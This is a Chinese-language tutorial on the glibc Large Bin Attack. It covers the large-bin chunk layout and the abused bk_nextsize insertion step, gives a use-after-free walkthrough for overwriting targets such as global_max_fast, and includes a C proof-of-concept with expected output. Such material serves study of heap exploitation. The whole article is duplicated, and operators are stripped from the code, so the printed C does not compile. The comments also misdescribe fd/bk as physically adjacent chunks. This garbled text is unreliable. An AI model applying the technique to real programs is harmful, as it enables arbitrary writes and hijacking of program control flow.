学习 Large Bin Attack最重要的一点是不要被它的名字吓倒。虽然它属于高级的堆利用技巧但它的本质其实非常简单利用 glibc 在维护“有序双向链表”时缺乏足够的安全检查从而让我们能在一个任意的内存地址里写入一个堆地址。我们先抛开复杂的代码从 Large Bin 这个“仓库”的特殊结构说起。第一步理解 Large Bin 的特殊结构在你之前接触的 Fastbin 或 Unsorted Bin 中一个释放的内存块Chunk只有两个指针fd指向下一个块和bk指向上一个块。它们构成的是普通链表。但是Large Bin 存放的是大于 1024 字节64位系统下的大内存块。为了在分配时能快速找到合适大小的块glibc 对 Large Bin 做了两件事按大小排序最大的 Chunk 放在链表头最小的放在链表尾。增加了两个指针为了加快搜索速度相同大小的 Chunk 会被归为一组。每组的第一个 Chunk除了有fd和bk还多了两个指针fd_nextsize和bk_nextsize。一个完整的 Large Bin Chunk 结构长这样struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; // 前一个chunk的大小 INTERNAL_SIZE_T mchunk_size; // 当前chunk的大小 struct malloc_chunk* fd; // 物理相邻的下一个chunk struct malloc_chunk* bk; // 物理相邻的上一个chunk // 只有 Large Bin 才用到的两个指针 struct malloc_chunk* fd_nextsize; // 指向比当前组稍微小一点的那个组的首个chunk struct malloc_chunk* bk_nextsize; // 指向比当前组稍微大一点的那个组的首个chunk };关键点fd_nextsize和bk_nextsize构成了一个跳表用来在不同大小的 Chunk 之间快速跳转。Large Bin Attack 的核心就是伪造bk_nextsize或bk指针。第二步攻击的触发原理解剖 glibc 源码什么时候会触发 Large Bin Attack答案是当一个 Chunk 从 Unsorted Bin 被放入 Large Bin 时。当你调用malloc申请内存时glibc 会遍历 Unsorted Bin。如果发现里面的 Chunk 大小不满足你的要求就会把它“分类”放到对应的 Bin 中。如果这个 Chunk 很大就会被塞进 Large Bin并且按照大小插入到合适的位置。在 glibc 源码中插入 Large Bin 的操作有这样一段逻辑这里简化了代码只保留致命部分假设victim是我们正要插入的 Chunkfwd是链表中已经存在的、大小比victim大的 Chunk。// 1. 设置 victim 的 nextsize 指针 victim-fd_nextsize fwd; victim-bk_nextsize fwd-bk_nextsize; // 2. 更新原有链表的 nextsize 指针 fwd-bk_nextsize victim; victim-bk_nextsize-fd_nextsize victim; // ---- 【致命漏洞就在这里】**仔细看最后一行代码victim-bk_nextsize-fd_nextsize victim;**如果你能利用某种漏洞比如 Use-After-FreeUAF在victim被插入前修改了原本躺在 Large Bin 里的那个fwd的bk_nextsize指针会发生什么假设我们把fwd-bk_nextsize篡改成Target_Address - 0x20根据代码第一段victim-bk_nextsize变成了Target_Address - 0x20。运行到最后一行时glibc 实际上执行的是(Target_Address - 0x20)-fd_nextsize victim在 Chunk 结构中fd_nextsize的偏移量刚好是0x20。于是代码就变成了Target_Address victim恭喜你成功地在Target_Address这个任意地址写入了victim的堆地址这就是 Large Bin Attack 的终极奥义。第三步手把手实战推演我们用一个具体的场景来走一遍攻击流程。假设现在你有一个 UAF 漏洞可以修改已经被释放的 Chunk 的内容。环境准备你需要伪造出一种特定的堆布局。malloc(0x400)得到 Chunk A。malloc(0x20)得到 Chunk 隔离防止与后面的合并。malloc(0x420)得到 Chunk B 比 A 稍微大一点。malloc(0x20)得到 Chunk 隔离。攻击步骤把 B 放入 Large Bin释放 B进入 Unsorted Bin。然后申请一个比 B 还大的块比如malloc(0x500)。这时glibc 发现 Unsorted Bin 里的 B 不够大就会把它转移到 Large Bin 中。此时Large Bin[ Chunk B ]释放 A 并利用 UAF 篡改 B释放 AA 会进入 Unsorted Bin。关键动作利用你的 UAF 漏洞修改躺在 Large Bin 里的Chunk B 的bk_nextsize指针将其覆盖为你想要攻击的目标地址减去 0x20即Target_Address - 0x20。触发漏洞将 A 插入 Large Bin再次申请一个极大的块比如malloc(0x500)。glibc 发现 Unsorted Bin 里的 A 也不够大于是也要把 A 转移到 Large Bin 里。glibc 开始排序发现 A (0x400) 比 B (0x420) 小决定把 A 插入到 B 的后面。漏洞爆发glibc 乖乖地执行我们上面提到的那段致命代码A-bk_nextsize-fd_nextsize A也就是Target_Address A的堆地址第四步我们能用它来做什么你可能会问“我费了半天劲只能往任意地址写入一个堆的地址又不能写我自定义的数据比如 system 函数这有什么用”这正是 Large Bin Attack 的精妙之处。它通常不作为最后的绝杀而是作为破局的跳板。最经典的用法是劫持global_max_fast变量global_max_fast是 glibc 中的一个全局变量用来限制 Fastbin 的最大尺寸默认通常是 0x80。你可以把Target_Address设为global_max_fast。攻击完成后global_max_fast会被覆盖成一个巨大的堆地址比如0x55xxxxxx。从此之后任何大小的 Chunk 释放后都会被当作 Fastbin 处理然后你就可以愉快地使用非常简单的 Fastbin Attack 来申请任意内存、修改 Got 表、拿到 Shell 了。例子这是一段经典的 C 语言概念验证代码PoC。通过这段代码你可以直观地看到我们是如何利用 UAFUse-After-Free漏洞将一个堆地址写入栈上的局部变量target中的。#include stdio.h #include stdlib.h int main() { // 我们的攻击目标将一个堆地址写入这个普通的局部变量中 size_t target 0; printf(攻击前 target 的值: 0x%zx\n, target); printf(target 变量的内存地址: %p\n, target); // // 第一步布局堆内存 // // 分配一个较大的 Chunk A (0x420) size_t *p1 malloc(0x420); // 分配一个隔离块防止 Chunk A 和 Chunk B 在释放时物理合并 malloc(0x20); // 分配一个稍小的 Chunk B (0x400) size_t *p2 malloc(0x400); // 再次分配隔离块防止 Chunk B 与 Top Chunk 合并 malloc(0x20); // // 第二步将 Chunk A 送入 Large Bin // free(p1); // p1 释放后首先进入 Unsorted Bin malloc(0x500); // 申请一个更大的块。glibc 遍历 Unsorted Bin 发现 p1 不够大 // 于是将其归类放入 Large Bin。 // // 第三步释放 Chunk B准备触发漏洞 // free(p2); // p2 释放后进入 Unsorted Bin // // 第四步漏洞介入利用 UAF 篡改指针 // // 假设程序存在 UAF 漏洞允许我们修改已经释放且躺在 Large Bin 里的 p1 // malloc 返回的用户态指针其索引偏移如下 // p1[0] - fd // p1[1] - bk // p1[2] - fd_nextsize // p1[3] - bk_nextsize // 我们将 p1 的 bk_nextsize 篡改为 target 地址减去 0x20 p1[3] (size_t)target - 0x20; // // 第五步引爆漏洞 // // 再次申请大内存。glibc 遍历 Unsorted Bin发现 p2 也不够大。 // 它试图将 p2 插入到 Large Bin 中 p1 的后面。 // 此时触发致命逻辑p1-bk_nextsize-fd_nextsize p2 // 翻译过来就是(target - 0x20 0x20) p2 的 Chunk 头地址 malloc(0x500); // // 验证结果 // printf(\n攻击后 target 的值: 0x%zx\n, target); // 计算 p2 的 Chunk 头地址 (用户态指针减去 0x10 的头部大小) printf(p2 Chunk 头的真实地址: %p\n, (void*)((char*)p2 - 0x10)); return 0; }核心偏移量解剖为什么是- 0x20在 64 位系统中内存对齐和结构体大小是固定的。这里是新手最容易卡住的地方我们拆解一下 glibc 计算地址的过程Chunk 头部的物理结构prev_size(8 bytes偏移 0x00)size(8 bytes偏移 0x08)fd(8 bytes偏移 0x10)bk(8 bytes偏移 0x18)fd_nextsize(8 bytes偏移0x20)bk_nextsize(8 bytes偏移 0x28)glibc 的执行视角当 glibc 执行到victim-bk_nextsize-fd_nextsize victim;时它在底层其实做的是指针加法计算。它读取了你伪造的bk_nextsize的地址然后强制往后偏移 0x20 个字节也就是fd_nextsize所在的位置把victim也就是 p2的地址写进去。你的攻击视角你希望victim的地址精准落入target变量中。如果你直接写p1[3] targetglibc 会把地址写到target 0x20的地方这就写偏了。所以你要提前减去 0x20补偿这个偏移p1[3] target - 0x20。这样 glibc 的操作就变成了(target - 0x20) 0x20 target。终端运行效果预期编译并运行这段代码你会看到类似如下的输出由于 ASLR每次运行地址会变但相对逻辑是不变的攻击前 target 的值: 0x0 target 变量的内存地址: 0x7ffd5a98b2c8 攻击后 target 的值: 0x55982c7a06a0 p2 Chunk 头的真实地址: 0x55982c7a06a0可以看到target原本是一个毫无威胁的0但在经过一次合法的malloc(0x500)操作后它被 glibc 内部的链表维护机制强行写入了p2的堆地址。如果在实际的漏洞挖掘中你将target替换为global_max_fast或者_IO_list_all等关键的系统底层变量就正式掌控了程序的执行流。 Large Bin Attack
学习 Large Bin Attack最重要的一点是不要被它的名字吓倒。虽然它属于高级的堆利用技巧但它的本质其实非常简单利用 glibc 在维护“有序双向链表”时缺乏足够的安全检查从而让我们能在一个任意的内存地址里写入一个堆地址。我们先抛开复杂的代码从 Large Bin 这个“仓库”的特殊结构说起。第一步理解 Large Bin 的特殊结构在你之前接触的 Fastbin 或 Unsorted Bin 中一个释放的内存块Chunk只有两个指针fd指向下一个块和bk指向上一个块。它们构成的是普通链表。但是Large Bin 存放的是大于 1024 字节64位系统下的大内存块。为了在分配时能快速找到合适大小的块glibc 对 Large Bin 做了两件事按大小排序最大的 Chunk 放在链表头最小的放在链表尾。增加了两个指针为了加快搜索速度相同大小的 Chunk 会被归为一组。每组的第一个 Chunk除了有fd和bk还多了两个指针fd_nextsize和bk_nextsize。一个完整的 Large Bin Chunk 结构长这样struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; // 前一个chunk的大小 INTERNAL_SIZE_T mchunk_size; // 当前chunk的大小 struct malloc_chunk* fd; // 物理相邻的下一个chunk struct malloc_chunk* bk; // 物理相邻的上一个chunk // 只有 Large Bin 才用到的两个指针 struct malloc_chunk* fd_nextsize; // 指向比当前组稍微小一点的那个组的首个chunk struct malloc_chunk* bk_nextsize; // 指向比当前组稍微大一点的那个组的首个chunk };关键点fd_nextsize和bk_nextsize构成了一个跳表用来在不同大小的 Chunk 之间快速跳转。Large Bin Attack 的核心就是伪造bk_nextsize或bk指针。第二步攻击的触发原理解剖 glibc 源码什么时候会触发 Large Bin Attack答案是当一个 Chunk 从 Unsorted Bin 被放入 Large Bin 时。当你调用malloc申请内存时glibc 会遍历 Unsorted Bin。如果发现里面的 Chunk 大小不满足你的要求就会把它“分类”放到对应的 Bin 中。如果这个 Chunk 很大就会被塞进 Large Bin并且按照大小插入到合适的位置。在 glibc 源码中插入 Large Bin 的操作有这样一段逻辑这里简化了代码只保留致命部分假设victim是我们正要插入的 Chunkfwd是链表中已经存在的、大小比victim大的 Chunk。// 1. 设置 victim 的 nextsize 指针 victim-fd_nextsize fwd; victim-bk_nextsize fwd-bk_nextsize; // 2. 更新原有链表的 nextsize 指针 fwd-bk_nextsize victim; victim-bk_nextsize-fd_nextsize victim; // ---- 【致命漏洞就在这里】**仔细看最后一行代码victim-bk_nextsize-fd_nextsize victim;**如果你能利用某种漏洞比如 Use-After-FreeUAF在victim被插入前修改了原本躺在 Large Bin 里的那个fwd的bk_nextsize指针会发生什么假设我们把fwd-bk_nextsize篡改成Target_Address - 0x20根据代码第一段victim-bk_nextsize变成了Target_Address - 0x20。运行到最后一行时glibc 实际上执行的是(Target_Address - 0x20)-fd_nextsize victim在 Chunk 结构中fd_nextsize的偏移量刚好是0x20。于是代码就变成了Target_Address victim恭喜你成功地在Target_Address这个任意地址写入了victim的堆地址这就是 Large Bin Attack 的终极奥义。第三步手把手实战推演我们用一个具体的场景来走一遍攻击流程。假设现在你有一个 UAF 漏洞可以修改已经被释放的 Chunk 的内容。环境准备你需要伪造出一种特定的堆布局。malloc(0x400)得到 Chunk A。malloc(0x20)得到 Chunk 隔离防止与后面的合并。malloc(0x420)得到 Chunk B 比 A 稍微大一点。malloc(0x20)得到 Chunk 隔离。攻击步骤把 B 放入 Large Bin释放 B进入 Unsorted Bin。然后申请一个比 B 还大的块比如malloc(0x500)。这时glibc 发现 Unsorted Bin 里的 B 不够大就会把它转移到 Large Bin 中。此时Large Bin[ Chunk B ]释放 A 并利用 UAF 篡改 B释放 AA 会进入 Unsorted Bin。关键动作利用你的 UAF 漏洞修改躺在 Large Bin 里的Chunk B 的bk_nextsize指针将其覆盖为你想要攻击的目标地址减去 0x20即Target_Address - 0x20。触发漏洞将 A 插入 Large Bin再次申请一个极大的块比如malloc(0x500)。glibc 发现 Unsorted Bin 里的 A 也不够大于是也要把 A 转移到 Large Bin 里。glibc 开始排序发现 A (0x400) 比 B (0x420) 小决定把 A 插入到 B 的后面。漏洞爆发glibc 乖乖地执行我们上面提到的那段致命代码A-bk_nextsize-fd_nextsize A也就是Target_Address A的堆地址第四步我们能用它来做什么你可能会问“我费了半天劲只能往任意地址写入一个堆的地址又不能写我自定义的数据比如 system 函数这有什么用”这正是 Large Bin Attack 的精妙之处。它通常不作为最后的绝杀而是作为破局的跳板。最经典的用法是劫持global_max_fast变量global_max_fast是 glibc 中的一个全局变量用来限制 Fastbin 的最大尺寸默认通常是 0x80。你可以把Target_Address设为global_max_fast。攻击完成后global_max_fast会被覆盖成一个巨大的堆地址比如0x55xxxxxx。从此之后任何大小的 Chunk 释放后都会被当作 Fastbin 处理然后你就可以愉快地使用非常简单的 Fastbin Attack 来申请任意内存、修改 Got 表、拿到 Shell 了。例子这是一段经典的 C 语言概念验证代码PoC。通过这段代码你可以直观地看到我们是如何利用 UAFUse-After-Free漏洞将一个堆地址写入栈上的局部变量target中的。#include stdio.h #include stdlib.h int main() { // 我们的攻击目标将一个堆地址写入这个普通的局部变量中 size_t target 0; printf(攻击前 target 的值: 0x%zx\n, target); printf(target 变量的内存地址: %p\n, target); // // 第一步布局堆内存 // // 分配一个较大的 Chunk A (0x420) size_t *p1 malloc(0x420); // 分配一个隔离块防止 Chunk A 和 Chunk B 在释放时物理合并 malloc(0x20); // 分配一个稍小的 Chunk B (0x400) size_t *p2 malloc(0x400); // 再次分配隔离块防止 Chunk B 与 Top Chunk 合并 malloc(0x20); // // 第二步将 Chunk A 送入 Large Bin // free(p1); // p1 释放后首先进入 Unsorted Bin malloc(0x500); // 申请一个更大的块。glibc 遍历 Unsorted Bin 发现 p1 不够大 // 于是将其归类放入 Large Bin。 // // 第三步释放 Chunk B准备触发漏洞 // free(p2); // p2 释放后进入 Unsorted Bin // // 第四步漏洞介入利用 UAF 篡改指针 // // 假设程序存在 UAF 漏洞允许我们修改已经释放且躺在 Large Bin 里的 p1 // malloc 返回的用户态指针其索引偏移如下 // p1[0] - fd // p1[1] - bk // p1[2] - fd_nextsize // p1[3] - bk_nextsize // 我们将 p1 的 bk_nextsize 篡改为 target 地址减去 0x20 p1[3] (size_t)target - 0x20; // // 第五步引爆漏洞 // // 再次申请大内存。glibc 遍历 Unsorted Bin发现 p2 也不够大。 // 它试图将 p2 插入到 Large Bin 中 p1 的后面。 // 此时触发致命逻辑p1-bk_nextsize-fd_nextsize p2 // 翻译过来就是(target - 0x20 0x20) p2 的 Chunk 头地址 malloc(0x500); // // 验证结果 // printf(\n攻击后 target 的值: 0x%zx\n, target); // 计算 p2 的 Chunk 头地址 (用户态指针减去 0x10 的头部大小) printf(p2 Chunk 头的真实地址: %p\n, (void*)((char*)p2 - 0x10)); return 0; }核心偏移量解剖为什么是- 0x20在 64 位系统中内存对齐和结构体大小是固定的。这里是新手最容易卡住的地方我们拆解一下 glibc 计算地址的过程Chunk 头部的物理结构prev_size(8 bytes偏移 0x00)size(8 bytes偏移 0x08)fd(8 bytes偏移 0x10)bk(8 bytes偏移 0x18)fd_nextsize(8 bytes偏移0x20)bk_nextsize(8 bytes偏移 0x28)glibc 的执行视角当 glibc 执行到victim-bk_nextsize-fd_nextsize victim;时它在底层其实做的是指针加法计算。它读取了你伪造的bk_nextsize的地址然后强制往后偏移 0x20 个字节也就是fd_nextsize所在的位置把victim也就是 p2的地址写进去。你的攻击视角你希望victim的地址精准落入target变量中。如果你直接写p1[3] targetglibc 会把地址写到target 0x20的地方这就写偏了。所以你要提前减去 0x20补偿这个偏移p1[3] target - 0x20。这样 glibc 的操作就变成了(target - 0x20) 0x20 target。终端运行效果预期编译并运行这段代码你会看到类似如下的输出由于 ASLR每次运行地址会变但相对逻辑是不变的攻击前 target 的值: 0x0 target 变量的内存地址: 0x7ffd5a98b2c8 攻击后 target 的值: 0x55982c7a06a0 p2 Chunk 头的真实地址: 0x55982c7a06a0可以看到target原本是一个毫无威胁的0但在经过一次合法的malloc(0x500)操作后它被 glibc 内部的链表维护机制强行写入了p2的堆地址。如果在实际的漏洞挖掘中你将target替换为global_max_fast或者_IO_list_all等关键的系统底层变量就正式掌控了程序的执行流。